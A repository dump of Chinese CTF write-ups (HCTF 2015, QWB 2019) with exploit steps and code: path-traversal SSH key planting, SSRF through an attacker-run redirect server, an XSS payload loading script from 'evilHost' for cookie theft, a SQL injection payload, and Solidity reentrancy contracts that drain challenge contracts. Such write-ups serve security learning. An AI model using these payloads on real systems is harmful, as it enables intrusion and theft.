246 | b = II (b, c, d, a, x[ 9], S44, 0xeb86d391)#; /* 64 */ 247 | 248 | self.state = (0xffffffffL & (state[0] + a), 249 | 0xffffffffL & (state[1] + b), 250 | 0xffffffffL & (state[2] + c), 251 | 0xffffffffL & (state[3] + d),) 252 | 253 | ## /* Zeroize sensitive information. 254 | 255 | del x 256 | 257 | # end of the class. Now the helpers 258 | 259 | import struct, string 260 | 261 | def Encode(input, len): 262 | k = len >> 2 263 | res = apply(struct.pack, ("%iI" % k,) + tuple(input[:k])) 264 | return string.join(res, "") 265 | 266 | def Decode(input, len): 267 | k = len >> 2 268 | res = struct.unpack("%iI" % k, input[:len]) 269 | return list(res) 270 | 271 | def test(): 272 | print `md5("hallo").digest()` 273 | from md5 import new 274 | print `new("hallo").digest()` 275 | 276 | if __name__=="__main__": 277 | test() 278 | -------------------------------------------------------------------------------- /GoogleCTF2016/website_gen_sess.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import os 4 | import jinja2 5 | import webapp2 6 | 7 | from webapp2_extras import sessions 8 | 9 | 10 | class RequestHandler(webapp2.RequestHandler): 11 | """Base request handler for Mannequin Moments.""" 12 | jinja_env = jinja2.Environment( 13 | loader=jinja2.FileSystemLoader('templates') 14 | ) 15 | 16 | def dispatch(self): 17 | self._session_store = sessions.get_store(request=self.request) 18 | 19 | try: 20 | #super(RequestHandler, self).dispatch() 21 | pass 22 | finally: 23 | self._session_store.save_sessions(self.response) 24 | 25 | @webapp2.cached_property 26 | def session(self): 27 | return self._session_store.get_session() 28 | 29 | def render(self, tpl_name, **args): 30 | tmpl = self.jinja_env.get_template(tpl_name) 31 | args['logged_in'] = True if self.session.get('user') else False 32 | self.response.out.write(tmpl.render(**args)) 33 | 34 | 35 | 36 | class HomeHandler(RequestHandler): 37 | def get(self): 38 | self.render('index.tpl') 39 | 40 | 41 | class LoginHandler(RequestHandler): 42 | def get(self): 43 | self.render('login.tpl') 44 | 45 | def post(self): 46 | user = None 47 | username = 'admin' 48 | #password = self.request.get('password') or None 49 | # Change #1281 - emergency maintenance due to security issues 50 | # user = redo auth. 51 | self.session['user'] = username 52 | #return webapp2.redirect('/', response=self.response) 53 | 54 | 55 | 56 | 57 | config = { 58 | 'webapp2_extras.sessions': { 59 | 'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a', 60 | 'name': 'mannequin-moments', 61 | } 62 | } 63 | 64 | app = webapp2.WSGIApplication([ 65 | webapp2.Route('/', HomeHandler), 66 | webapp2.Route('/login', LoginHandler) 67 | ], config=config) 68 | 69 | p=os.environ.__dict__ 70 | 71 | request = webapp2.Request(p) 72 | response=webapp2.Response() 73 | request.app = app 74 | a=LoginHandler(request,response) 75 | a.dispatch() 76 | a.post() 77 | a.dispatch() 78 | #a.session.set('user','admin') 79 | print a.response 80 | -------------------------------------------------------------------------------- /HCTF2015/README.md: -------------------------------------------------------------------------------- 1 | # HCTF 2015 2 | 3 | ## 2. fuck === 75 4 | ```php 5 | if (isset($_GET['a']) and isset($_GET['b'])) { 6 | if ($_GET['a'] != $_GET['b']) 7 | if (md5($_GET['a']) === md5($_GET['b'])) 8 | die('Flag: '.$flag); 9 | else 10 | print 'Wrong.'; 11 | ``` 12 | 13 | 扔两个数组过去即可 14 | `/index.php?a[]=asd&b[]=rew` 15 | 16 | ## 3. black eat black 300 17 | 18 | 使用该DNS(180.153.47.182)后会劫持到120.55.181.136, 19 | 由`黑吃黑`可知,他会根据host字段来帮你代理http请求, 20 | 那么把host改成127.0.0.1就能吃掉他了,nmap扫描后发现开了一堆filtered端口, 21 | 把host改成127.0.0.1:4444后发向120.55.181.136,就能看到一个叫gayhub的网站, 22 | 注册并登陆后,发现能上传覆盖任意文件(有写权限的话),文件名带`../`可以上传至上一级目录, 23 | 上传文件的路径形如`/:username/uploadfile/:filename`,(而且我试出来真实路径是`/static/upload/:username/:filename`,不过没什么卵用) 24 | 发现上传到上一级的目录的文件不能通过`/:username/uploadfile/../:filename`来访问,经测试后发现会把`../`扔掉, 25 | 那么可以构造`....//`,替换后变成`../`来绕过 26 | 于是读`/:username/uploadfile/....//....//....//....//....//....//....//etc/passwd`,发现有类似`hctf2015:/home/hctf2015:/usr/bin/whereisflag`的字段,而且无法读取`/usr/bin/whereisflag`, 27 | 那么利用上传系统,上传自己的公钥到`../../../../../../home/hctf2015/.ssh/authorized_keys`,ssh上去回答几道问题就能拿到flag啦 28 | 29 | 30 | ## 7. server is done 175 31 | 32 | 构造一个足够长的字符串arg = '0'*512 (>512 bytes),看他返回的message,就能发现大于512时有循环部分,html注释部分里的加密后的flag也是512字节, 33 | 仔细检查后发现,`encrypted flag = arg xor message xor flag`,于是异或一下得到flag 34 | 35 | 36 | ## 8. fuckphp 300 37 | 38 | 看小说页里面最下面有个``,下载出来就是小说包.... 39 | 开下脑洞试了几个发现能下载个`backup.zip`... 40 | 打开看了下是一个叫`flagflagflaggogogo.php`的OPCODE DUMP文件, 41 | 仔细阅读后发现需要读取`$_GET['username'], $_GET['password']` 长均为16,且异或后等于`'ILoveAklisheheha'` 42 | 随便构造了个`/flagflagflaggogogo.php?username=y6*,%3C$*-(2)$)$)Q&password=0zEZYeAAAAAAAAA0`就过去了 43 | 然后有个是加密flag的函数: 44 | ``` 45 | compiled vars: !0 = $target1, !1 = $target2, !2 = $getFlag, !3 = $echoFlag, !4 = $getUserInfo, !5 = $checkTarget1, !6 = $flag, !7 = $cbc_key, !8 = $cbc_iv 46 | 8 0 E > FETCH_R static $0 'flag' 47 | 1 ASSIGN !0, $0 48 | 2 FETCH_R static $2 'cbc_key' 49 | 3 ASSIGN !1, $2 50 | 4 FETCH_R static $4 'cbc_iv' 51 | 5 ASSIGN !2, $4 52 | 9 6 FETCH_CONSTANT ~6 'MCRYPT_BLOWFISH' 53 | 7 SEND_VAL ~6 54 | 8 SEND_VAR !1 55 | 9 SEND_VAR !0 56 | 10 FETCH_CONSTANT ~7 'MCRYPT_MODE_CBC' 57 | 11 SEND_VAL ~7 58 | 12 SEND_VAR !2 59 | 13 DO_FCALL 5 $8 'mcrypt_encrypt' 60 | 14 SEND_VAR_NO_REF 6 $8 61 | 15 DO_FCALL 1 $9 'base64_encode' 62 | 16 > RETURN $9 63 | 10 17* > RETURN null 64 | ``` 65 | 66 | 加密完后,会依次输出`$encFlag, $cbc_iv, $cbc_key`, 67 | 显示出来的是`HFcN8aBMiUUvprvYK2vF9teFBwZvsLag5pivWzxOu+JPTg3FFBonyg==longjingmolihua!` 68 | 69 | 那么写段php: 70 | ```php 71 | echo mcrypt_decrypt(MCRYPT_BLOWFISH, 'molihua!', base64_decode('HFcN8aBMiUUvprvYK2vF9teFBwZvsLag5pivWzxOu+JPTg3FFBonyg=='), MCRYPT_MODE_CBC, 'longjing'); 72 | ``` 73 | 即可输出flag 74 | 75 | # 11. 真的非常友善的逆向题(福利) 150 76 | 77 | 过程写在下面的注释里了: 78 | 79 | ```c 80 | int __fastcall checkFlagHead(int a1, char a2) // a1=flag string 81 | { 82 | int v2; // eax@1 83 | char v3; // cl@1 84 | signed int v4; // eax@1 85 | __int128 v6; // [sp+0h] [bp-2Ch]@1 86 | int v7; // [sp+10h] [bp-1Ch]@1 87 | int v8; // [sp+14h] [bp-18h]@1 88 | int v9; // [sp+18h] [bp-14h]@1 89 | __int16 v10; // [sp+1Ch] [bp-10h]@1 90 | char v11; // [sp+1Eh] [bp-Eh]@1 91 | int v12; // [sp+20h] [bp-Ch]@1 92 | char v13; // [sp+24h] [bp-8h]@1 93 | char v14; // [sp+25h] [bp-7h]@1 94 | 95 | v9 = '7613'; 96 | v10 = '45'; 97 | v11 = 0; 98 | v2 = *(_DWORD *)a1; 99 | v3 = *(_BYTE *)(a1 + 4); 100 | v12 = v2; 101 | 102 | LOBYTE(v12) = '3' - v2; // '3' - string[0] 103 | BYTE1(v12) = BYTE1(v9) - BYTE1(v12); // '1' - string[1] 104 | BYTE2(v12) = '6' - BYTE2(v2); 105 | BYTE3(v12) = '7' - BYTE3(v2); 106 | // 上面这里每个byte做一下减法变换,看看各位减得的负数是否跟下面v6一样 107 | v14 = 0; 108 | v13 = 53 - v3; 109 | v4 = 0; 110 | _mm_storeu_si128((__m128i *)&v6, _mm_load_si128((const __m128i *)&xmmword_415630)); // v6 <- 4bytes的负数xmmword_415630 111 | // 那么'3167'各bytes减v6各bytes得'HCTF' 112 | v7 = -70; 113 | v8 = -73; 114 | while ( *((_BYTE *)&v12 + v4) == *((_DWORD *)&v6 + v4) ) // 实质就是验证string前是否是HCTF{ 115 | { 116 | ++v4; 117 | if ( v4 >= 5 ) 118 | return SHIBYTE(v10) - a2 == -73; 119 | } 120 | return 0; 121 | } 122 | 123 | BOOL __userpurge DialogFunc@(char a1@, HWND hDlg, UINT a3, WPARAM a4, LPARAM a5) 124 | { 125 | __int128 *v6; // edx@18 126 | signed int v7; // esi@21 127 | int v8; // edx@22 128 | int v9; // eax@30 129 | int v10; // eax@30 130 | int v11; // eax@30 131 | int v12; // eax@30 132 | signed int v13; // ecx@30 133 | CHAR String; // [sp+0h] [bp-24h]@1 134 | __int128 v15; // [sp+1h] [bp-23h]@1 135 | __int64 v16; // [sp+11h] [bp-13h]@1 136 | int v17; // [sp+19h] [bp-Bh]@1 137 | char v18; // [sp+1Dh] [bp-7h]@1 138 | 139 | String = 0; 140 | _mm_storel_epi64((__m128i *)&v16, 0i64); 141 | v17 = 0; 142 | v18 = 0; 143 | _mm_storeu_si128((__m128i *)&v15, 0i64); 144 | if ( a3 > 0x110 ) 145 | { 146 | if ( a3 == 273 && !(a4 >> 16) && (_WORD)a4 == 1004 ) 147 | { 148 | GetWindowTextA(dword_4191F8, &String, 30); 149 | v6 = &v15; 150 | if ( strlen(&String) == 22 ) // 检查长度 151 | { 152 | LOBYTE(v6) = BYTE4(v16); 153 | if ( sub_401DA0(&String, v6) ) 154 | { 155 | if ( sub_401BB0(&String) ) // 二分查找,A~Z变成0~25, a~z变成100~125, '0'变成了200,把变换后的字符串与下面的数组比较 156 | { 157 | v7 = 0; 158 | while ( 1 ) 159 | { 160 | v8 = dword_4191B0 ^ byte_418217; // dword_4191B0取1,2 byte_418217不断rol,逆向的时候暴力下这几种可能就好 161 | if ( (dword_4191B0 ^ byte_418217) >= 0 162 | && dword_4191B0 != byte_418217 // 这里比较flag后面接的4位无意义字符 163 | && (v8 ^ (char)v16) == byte_418218 164 | && (v8 ^ SBYTE1(v16)) == byte_418219 165 | && (v8 ^ SBYTE2(v16)) == byte_41821A 166 | && (v8 ^ SBYTE3(v16)) == byte_41821B ) 167 | break; 168 | Sleep(0x14u); 169 | ++v7; 170 | if ( v7 >= 100 ) 171 | goto LABEL_28; 172 | } 173 | v9 = dword_4191D8; // 这里还要交换几个bytes 174 | dword_4191D8 = dword_4191C0[0]; 175 | dword_4191C0[0] = v9; 176 | v10 = dword_4191E0; 177 | dword_4191E0 = dword_4191CC; 178 | dword_4191CC = v10; 179 | v11 = dword_4191D4; 180 | dword_4191D4 = dword_4191C8; 181 | dword_4191C8 = v11; 182 | v12 = dword_4191D0; 183 | dword_4191D0 = dword_4191EC; 184 | v13 = 0; 185 | dword_4191EC = v12; 186 | do 187 | { 188 | if ( dword_415600[v13] != dword_4191C0[v13] ) // 比较上面变换后的字符串和数组 189 | { 190 | MessageBoxW(0, L"Try Again", L"Fail", 0); 191 | exit(-1); 192 | } 193 | ++v13; 194 | } 195 | while ( v13 < 12 ); 196 | if ( v8 == 2 ) 197 | { 198 | MessageBoxW(0, L"YOU GOT IT", L"OK", 0); 199 | exit(0); 200 | } 201 | } 202 | } 203 | } 204 | LABEL_28: 205 | MessageBoxW(0, L"Try Again", L"Fail", 0); 206 | } 207 | } 208 | else if ( a3 == 272 ) 209 | { 210 | hWnd = GetDlgItem(hDlg, 1004); 211 | dword_4191F8 = GetDlgItem(hDlg, 1003); 212 | hObject = (HANDLE)sub_4027B4(0, 0, (int)sub_401B90, 0, 0, 0); 213 | if ( !hObject ) 214 | { 215 | sub_4029F6(&unk_415584, a1); 216 | return 0; 217 | } 218 | } 219 | else 220 | { 221 | if ( a3 == 16 ) 222 | { 223 | CloseHandle(hObject); 224 | EndDialog(hDlg, 0); 225 | DestroyWindow(hDlg); 226 | return 0; 227 | } 228 | if ( a3 == 32 && hWnd == (HWND)a4 ) 229 | { 230 | if ( dword_4181F8 == 34 ) 231 | { 232 | MoveWindow(hWnd, 10, 10, 80, 35, 1); 233 | dword_4181F8 = 21; 234 | return 0; 235 | } 236 | if ( dword_4181F8 == 21 ) 237 | { 238 | MoveWindow(hWnd, 20, 230, 80, 35, 1); 239 | dword_4181F8 = 24; 240 | return 0; 241 | } 242 | if ( dword_4181F8 == 24 ) 243 | { 244 | MoveWindow(hWnd, 350, 230, 80, 35, 1); 245 | dword_4181F8 = 34; 246 | return 0; 247 | } 248 | } 249 | } 250 | return 0; 251 | } 252 | ``` 253 | 254 | 所以只要把那个比较用的数组提出来 255 | ``` 256 | 66h 257 | .rdata:00415604 db 64h ; d 258 | .rdata:00415608 db 0C8h ; 259 | .rdata:0041560C db 68h ; h 260 | .rdata:00415610 db 75h ; u 261 | .rdata:00415614 db 75h ; u 262 | .rdata:00415618 db 14h 263 | .rdata:0041561C db 0Bh 264 | .rdata:00415620 db 68h ; h 265 | .rdata:00415624 db 15h 266 | .rdata:00415628 db 68h ; h 267 | .rdata:0041562C db 12h 268 | ``` 269 | 270 | 然后改成十进制,对x,如果x==200那么x转成'0',否则转成`(x%100+'A')+(x/100)*('a'-'A')`,然后按照上面的规则交换几个bytes 271 | 拼接上上面的HCTF{和结尾的四位随机字符即可。 272 | 273 | 274 | # 14. 送分要不要?(萌新点我) 50 275 | 276 | ![songfen](songfen.png) 277 | 278 | 在PNG前面有段base64全家桶,依次b64decode b32decode b16decode 得到flag 279 | 280 | # 16. 无聊的题(出题人真无聊) 250 281 | 282 | 这题真坑爹,也真的是很无聊- -... 283 | 网上找了原图,diff了一下很容易发现些异常....然而原图是jpg,好多噪点 284 | 285 | diff图如下: 286 | ![diff](lsb_diff.png) 287 | 288 | 在88行与201行,分别R与B通道有LSB.... 289 | 把原图与题目图的diff打印出来看看, 按col row 题图 原图顺序排列... 290 | 291 | ``` 292 | ... 293 | 121 88 (150, 21, 15, 255) (134, 21, 15) 294 | 125 88 (136, 28, 18, 255) (152, 28, 18) 295 | 127 88 (147, 26, 17, 255) (146, 25, 16) 296 | 130 88 (158, 23, 17, 255) (142, 23, 17) 297 | 131 88 (162, 40, 35, 255) (162, 41, 33) 298 | 132 88 (133, 26, 19, 255) (149, 26, 19) 299 | 135 88 (123, 22, 15, 255) (107, 22, 15) 300 | 136 88 (100, 27, 13, 255) (116, 27, 13) 301 | 139 88 (120, 24, 15, 255) (104, 24, 15) 302 | 141 88 (109, 28, 21, 255) (125, 28, 21) 303 | 142 88 (111, 22, 18, 255) (127, 22, 18) 304 | 143 88 (125, 27, 16, 255) (109, 27, 16) 305 | 145 88 (98, 32, 34, 255) (114, 32, 34) 306 | 146 88 (119, 22, 18, 255) (102, 23, 18) 307 | 147 88 (156, 36, 27, 255) (140, 36, 27) 308 | 148 88 (147, 20, 11, 255) (131, 20, 11) 309 | 149 88 (110, 31, 27, 255) (126, 31, 27) 310 | 151 88 (108, 34, 25, 255) (124, 34, 25) 311 | 152 88 (109, 35, 27, 255) (125, 35, 27) 312 | 153 88 (147, 25, 25, 255) (131, 25, 25) 313 | 154 88 (121, 37, 26, 255) (105, 37, 26) 314 | 156 88 (121, 22, 18, 255) (105, 22, 18) 315 | 158 88 (111, 50, 44, 255) (127, 50, 44) 316 | 159 88 (106, 33, 29, 255) (122, 33, 29) 317 | 160 88 (70, 26, 25, 255) (86, 26, 25) 318 | 161 88 (91, 22, 18, 255) (75, 22, 18) 319 | ... 320 | 137 201 (150, 41, 40, 255) (150, 41, 44) 321 | 138 201 (147, 45, 37, 255) (147, 45, 33) 322 | 140 201 (139, 43, 41, 255) (139, 43, 45) 323 | 141 201 (120, 41, 24, 255) (120, 41, 28) 324 | 144 201 (142, 33, 24, 255) (142, 33, 28) 325 | 147 201 (144, 42, 44, 255) (144, 42, 40) 326 | 148 201 (158, 46, 40, 255) (158, 46, 44) 327 | 151 201 (161, 49, 41, 255) (161, 49, 45) 328 | 153 201 (168, 47, 32, 255) (168, 47, 36) 329 | 154 201 (179, 46, 45, 255) (179, 46, 41) 330 | 155 201 (156, 52, 45, 255) (156, 52, 41) 331 | 156 201 (159, 41, 33, 255) (159, 41, 37) 332 | 157 201 (164, 35, 26, 255) (164, 35, 30) 333 | 158 201 (176, 40, 24, 255) (176, 40, 28) 334 | 160 201 (142, 18, 22, 255) (142, 18, 18) 335 | 162 201 (186, 46, 37, 255) (186, 46, 33) 336 | 163 201 (178, 40, 29, 255) (180, 39, 29) 337 | 164 201 (186, 46, 41, 255) (185, 45, 44) 338 | 165 201 (130, 40, 25, 255) (130, 40, 29) 339 | 169 201 (159, 48, 24, 255) (159, 48, 28) 340 | 170 201 (167, 44, 33, 255) (167, 44, 37) 341 | ``` 342 | 343 | 容易发现88行R部分大多相差16, 201行B部分相差4,于是提取出来,把偏移全部试一遍,即可得到flag 344 | 345 | ```python 346 | >>> r1,g1,b1,a1 = Image.open('boring.png').split() 347 | >>> s='' 348 | >>> for col in xrange(106, 300): 349 | ... pos=(col,88) 350 | ... if ((r1.getpixel(pos))&16)==16: 351 | ... s+='1' 352 | ... else: 353 | ... s+='0' 354 | ... 355 | >>> s 356 | '10011001101100011000010110011100110001001110100110100001100011011101000110011001111011011011000101111100110100011011010101111100110111011010000100010101011111010001100100100101110010001100110011' 357 | >>> def tobin8(s): 358 | ... ret='' 359 | ... for x in xrange(0, len(s), 8): 360 | ... seg=s[x:x+8] 361 | ... if len(seg)<8: return ret 362 | ... ret+=chr(int(seg,2)) 363 | ... return ret 364 | ... 365 | >>> tobin8(s[6:]) 366 | 'lag1:hctf{l_4m_7hE_FIr3' 367 | # 上面列数取小了...后来把列数改大,可以得到完整的flag1:lag1:hctf{l_4m_7hE_FIr37_F14G} 368 | 369 | for col in xrange(130, 500): 370 | pos=(col,201) 371 | if ((b1.getpixel(pos))&4)==4: 372 | s+='1' 373 | else: 374 | s+='0' 375 | >> tobin8(s[7:]) 376 | 'flag2:hctf{DoYouLoveLSB??},\xcf\x8c\x9538\xbaT9y\n\xde|\x87\xcb\xf3\x98\xd6j' 377 | 378 | ``` 379 | 380 | # 28. Hack my net 100 381 | 382 | 上来是 383 | `http://120.26.224.102:25045/ea57f09ea421245047b86eaba834fae1/?u=http://nohackair.net:80/usr/themes/trapecho/css/bootstrap-responsive.min.css`这个url, 384 | 测试可知前面的`http://nohackair.net:80`是固定的,于是用alictf某题的绕过方法,加@绕过,如:`http://nohackair.net:80@baidu.com`返回baidu.com 385 | 测试发现header里面有个`Config: http://localareanet/all.conf`,也就是想办法读这个conf 386 | 测试发现后缀必须是.css,而且服务器会跟302重定向,那么,在自己的服务器上搭个nginx: 387 | ``` 388 | location /test.css { 389 | add_header Content-Type text/css; 390 | return 302 http://localareanet/all.conf?u=/11.css; 391 | } 392 | ``` 393 | 394 | 然后填`http://myEvilServer/test.css`即可看到flag(注:貌似会检查content-type,所以要加个test/css) 395 | 396 | # 30. easy xss 150 397 | 398 | ```html 399 | 400 | 401 | 402 | 403 | 404 | 419 | 420 | ``` 421 | 422 | 其中,catch块只有在type.toString()抛异常才会执行,那么我们要设法让type为null或undefined. 423 | 利用js的变量作用域的坑,debug填`';var type;'`那么就有`var debug = '';var type;'';` 424 | 425 | 那么errormsg填payload就好了,过滤了斜杠可以用js字符转义`\x2f`来绕过 426 | 427 | payload: 428 | `http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=asd%3Cscript%20src=%27http:\x2f\x2fevilHost\x2fxss.js%27%3E%3C\x2fscript%3E&t=1&debug=%27;var%20type;%27` 429 | 430 | xssme: 431 | `http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/getmycookie.php?url=http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?errmsg=asd%253Cscript%2520src=%2527http:\x2f\x2fevilHost\x2fxss.js%2527%253E%253C\x2fscript%253E%26t=1%26debug=%2527;var%2520type;%2527` 432 | 433 | # 32. confused question 200 434 | 435 | ```php 436 | 437 | $val){ 443 | $array[$key] = addslashes($val); 444 | } 445 | return $array; 446 | } 447 | $loginStr = $_GET['loginstr']; 448 | if(!isset($_SESSION['admin'])){$loginStr = str_ireplace('admin','guest',$loginStr);}//前台不是admin 449 | parse_str($loginStr,$loginStr); 450 | foreach($loginStr as $n => $v){ 451 | $v = addslashesForEvery($v); 452 | if($n === 'admin'){ 453 | $username = $v['username']; 454 | $password = addslashesForEvery($_POST['password']); 455 | $sql = "select * from admin where username = '$username' and password = '$password'"; 456 | $result = $DB->query($sql); 457 | if($result){$_SESSION['adminlogin'] = 1; echo "hctf{xxxxxxxx}";} 458 | break; 459 | } 460 | if($n === 'guest'){ 461 | echo "Hello Guest!But you cannot log in!"; 462 | break; 463 | } 464 | echo "null"; 465 | break; 466 | } 467 | 468 | ?> 469 | ``` 470 | 471 | 这个没什么好说的,本地改下php跑跑试下就出来了...php的某些坑, 没有对应offset时出现的古怪行为... 472 | 从效果上说,跟dz7.2那个洞有点像... 473 | 474 | 直接扔payload吧 475 | ``` 476 | ?loginstr[admin]=%27&password=+union+select+1,1+-- 477 | ```` 478 | 479 | 本地测试代码添加的片段: 480 | ```php 481 | $username = $v['username']; 482 | var_dump($username, $v); 483 | // 输出 Warning: Illegal string offset 'username' in D:\Winginx\home\localhost\y.php on line 58 string(1) "\" string(2) "\'" 484 | ``` 485 | 486 | 在payload下sql语句变成 487 | `string(78) "select * from admin where username = '\' and password = ' union select 1,1 --'" ` -------------------------------------------------------------------------------- /HCTF2015/lsb_diff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/HCTF2015/lsb_diff.png -------------------------------------------------------------------------------- /HCTF2015/songfen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/HCTF2015/songfen.png -------------------------------------------------------------------------------- /QWB2019/README.md: -------------------------------------------------------------------------------- 1 | # QWB 2019 2 | 3 | ### 高明的黑客 4 | 5 | 之前因为我自己写过phpWebshell扫描器,直接拿过来魔改了几行代码就能直接扫出来了。 6 | 7 | ![webshell_scan_stat](webshell_scan_result.png) 8 | 9 | ![webshell_scan_log_grep](scan_log_grep.png) 10 | 11 | 然后翻扫描log找到306行有问题: 12 | 13 | ![webshell_log](scan_log.png) 14 | 15 | 看了下就一个很裸的system函数调用,没什么好说了 16 | 17 | ![webshell_source](webshell_source.png) 18 | 19 | 20 | ### babybank 21 | 22 | 然后是两道baby以太坊智能合约题,opcode直接在线decompile一下( https://ethervm.io/ ,现在竟有这么好用的工具),再根据solidity mapping的storage的空间布局很容易就能分析出代码逻辑,比ethernaut的题还要简单。 23 | 24 | 这题的主要思路就是经典的重入攻击 ,外加`selfdestruct`可以送钱和预测合约地址这两个甜点。 25 | 26 | 27 | ```solidity 28 | pragma solidity ^0.4.23; 29 | 30 | contract babybank { 31 | mapping(address => uint) public balance; 32 | mapping(address => uint) public level; 33 | address owner; 34 | uint secret; 35 | 36 | //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. 37 | //Gmail is ok. 163 and qq may have some problems. 38 | event sendflag(string md5ofteamtoken,string b64email); 39 | 40 | constructor()public{ 41 | owner = msg.sender; 42 | } 43 | 44 | //pay for flag 45 | function payforflag(string md5ofteamtoken,string b64email) public{ 46 | require(balance[msg.sender] >= 10000000000); 47 | balance[msg.sender]=0; 48 | owner.transfer(address(this).balance); 49 | emit sendflag(md5ofteamtoken,b64email); 50 | } 51 | 52 | modifier onlyOwner(){ 53 | require(msg.sender == owner); 54 | _; 55 | } 56 | 57 | function profit() public;/* { 58 | if(level[msg.sender]) throw; 59 | if(msg.sender & 0xffff != 0xb1b1) throw; 60 | balance[msg.sender] += 1; 61 | level[msg.sender] += 1; 62 | }*/ 63 | 64 | function guess(uint arg0);/* { 65 | if (arg0 != secret) throw; 66 | if (level[msg.sender] != 1) throw; 67 | balance[msg.sender] += 1; 68 | level[msg.sender] += 1; 69 | }*/ 70 | 71 | function transfer(address arg0, uint arg1);/* { 72 | if (arg1 > balance[msg.sender])) throw; 73 | if (arg1 != 2) throw; 74 | if (level[msg.sender] != 2) throw; 75 | balance[msg.sender] = 0; 76 | balance[arg0] = arg1; 77 | }*/ 78 | 79 | function withdraw(uint arg0);/* { 80 | if (arg0 != 0x02) throw; 81 | if (arg0 > balance[msg.sender]) throw; 82 | 83 | mem[0x80] = msg.sender.call.gas(msg.gas).value(arg0 * 1 ether)(mem[0x80]); 84 | balance[msg.sender] -= arg0; 85 | }*/ 86 | } 87 | 88 | contract ForceSendValue { 89 | function mySend() payable { 90 | babybank f = babybank(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c); 91 | selfdestruct(f); 92 | } 93 | } 94 | 95 | contract exploit { 96 | babybank f = babybank(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c); 97 | address owner; 98 | bool hasBeenPaid = false; 99 | 100 | constructor() { 101 | owner = msg.sender; 102 | f.profit(); 103 | f.guess(0x3fde42988fa35); // web3.eth.getStorageAt("0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c", 3, console.log) 104 | } 105 | 106 | function() public payable { 107 | if (!hasBeenPaid) { 108 | hasBeenPaid = true; 109 | f.withdraw.gas(msg.gas)(2); 110 | } 111 | } 112 | 113 | function exp() payable { 114 | ForceSendValue _f = new ForceSendValue(); 115 | _f.mySend.value(400000000000000).gas(msg.gas)(); 116 | f.withdraw.gas(msg.gas)(2); 117 | } 118 | 119 | function submit() { 120 | string memory tok = ""; 121 | string memory email = ""; 122 | f.payforflag(tok, email); 123 | selfdestruct(owner); 124 | } 125 | } 126 | ``` 127 | 128 | 因为这题需要用到智能合约的fallback函数`msg.sender`只能是智能合约,`profit()`里要`msg.sender`地址结尾是`b1b1`,这就要求我们要能预测账号地址生成的合约地址,利用下面的脚本可以生成账号地址使nonce=0的交易的智能合约部署地址结尾符合要求。 129 | 130 | ```python 131 | from web3 import Web3, HTTPProvider 132 | import rlp 133 | from rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes 134 | w3 = Web3(HTTPProvider('https://ropsten.infura.io/SdO4U3ydQdgK3D3eNE2Y')) 135 | w3.eth.enable_unaudited_features() 136 | 137 | def normalize_address(x, allow_blank=False): 138 | if allow_blank and x == '': 139 | return '' 140 | if len(x) in (42, 50) and x[:2] == '0x': 141 | x = x[2:] 142 | if len(x) in (40, 48): 143 | x = decode_hex(x) 144 | if len(x) == 24: 145 | assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:] 146 | x = x[:20] 147 | if len(x) != 20: 148 | raise Exception("Invalid address format: %r" % x) 149 | return x 150 | 151 | def get_deployed_contract_addr(acc_address, nonce): 152 | return Web3.toHex(Web3.sha3(rlp.encode([normalize_address(acc_address), nonce]))[12:])[2:] 153 | 154 | acc=w3.eth.account.create() 155 | while not get_deployed_contract_addr(acc.address, 0).endswith('b1b1'): 156 | acc = w3.eth.account.create() 157 | print(acc.privateKey.__repr__()) 158 | ``` 159 | 160 | 另外这题回调fallback函数的时候需要送钱,又没有payable函数,因此`exploit::exp()`中利用合约`selfdestruct`的强制送钱机制先强行氪金一波。 161 | 162 | ### babybet 163 | 164 | 嗯其实这题比babybank还简单,准备工作也少了很多。分析一下字典没名字的函数是个transfer函数就可以汇集钱了,直接raw形式用签名哈希调用就ok了。我要吐槽一下这个非得100万,gas limit不够用非要手动部署十几次`exploit`合约...... 165 | 166 | 直接上exp吧也没什么好说的,就利用智能合约动态获取链上公开信息来破解模拟的几年前的菠菜代码而已。 167 | 168 | ```solidity 169 | pragma solidity ^0.4.23; 170 | 171 | contract babybet { 172 | mapping(address => uint) public balance; 173 | mapping(address => uint) public status; 174 | address owner; 175 | 176 | //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. 177 | //Gmail is ok. 163 and qq may have some problems. 178 | event sendflag(string md5ofteamtoken,string b64email); 179 | 180 | constructor()public{ 181 | owner = msg.sender; 182 | balance[msg.sender]=1000000; 183 | } 184 | 185 | //pay for flag 186 | function payforflag(string md5ofteamtoken,string b64email) public{ 187 | require(balance[msg.sender] >= 1000000); 188 | if (msg.sender!=owner){ 189 | balance[msg.sender]=0;} 190 | owner.transfer(address(this).balance); 191 | emit sendflag(md5ofteamtoken,b64email); 192 | } 193 | function profit(); 194 | function bet(uint arg0); 195 | 196 | //function func_048F(address arg0, uint arg1); 0xf0d25268 197 | } 198 | 199 | 200 | contract exploit { 201 | constructor() { 202 | address owner = ; 203 | for (uint i=0; i<50; i++) { 204 | address worker = new Worker(); 205 | } 206 | selfdestruct(owner); 207 | } 208 | } 209 | 210 | contract Worker { 211 | constructor() { 212 | bytes4 sign = 0xf0d25268; 213 | address owner = ; 214 | babybet f = babybet(0x5d1beefd4de611caff204e1a318039324575599a); 215 | uint award = 1000; 216 | uint _owner = uint(owner); 217 | f.profit(); 218 | uint b = uint(blockhash(block.number - 1)) % 3; 219 | f.bet(b); 220 | f.call(sign, _owner, award); 221 | selfdestruct(owner); 222 | } 223 | } 224 | 225 | ``` 226 | 227 | 228 | -------------------------------------------------------------------------------- /QWB2019/generate_eth_address.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3, HTTPProvider 2 | import rlp 3 | from rlp.utils import decode_hex, 